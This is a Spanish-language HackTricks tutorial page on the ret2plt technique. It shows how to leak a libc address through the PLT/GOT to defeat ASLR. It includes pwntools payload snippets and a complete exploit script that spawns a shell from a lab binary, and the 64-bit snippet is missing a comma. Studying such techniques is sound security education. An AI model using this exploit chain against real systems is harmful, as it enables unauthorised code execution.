hacktricks/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md

4.1 KiB

Ret2plt

{% hint style="success" %} Aprende y practica Hacking en AWS: HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}

Información Básica

El objetivo de esta técnica sería filtrar una dirección de una función del PLT para poder evadir ASLR. Esto se debe a que si, por ejemplo, filtras la dirección de la función puts de la libc, entonces puedes calcular dónde está la base de libc y calcular desplazamientos para acceder a otras funciones como system.

Esto se puede hacer con un payload de pwntools como (desde aquí):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Observa cómo se llama a puts (usando la dirección del PLT) con la dirección de puts ubicada en la GOT (Tabla de Desplazamiento Global). Esto se debe a que cuando puts imprime la entrada GOT de puts, esta entrada contendrá la dirección exacta de puts en memoria.

También observa cómo se utiliza la dirección de main en el exploit para que cuando puts finalice su ejecución, el binario llame a main nuevamente en lugar de salir (por lo que la dirección filtrada seguirá siendo válida).

{% hint style="danger" %} Observa cómo para que esto funcione, el binario no puede estar compilado con PIE o debes haber encontrado una filtración para evitar PIE para conocer la dirección del PLT, GOT y main. De lo contrario, primero debes evitar PIE. {% endhint %}

Puedes encontrar un ejemplo completo de este bypass aquí. Este fue el exploit final de ese ejemplo:

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Otros ejemplos y Referencias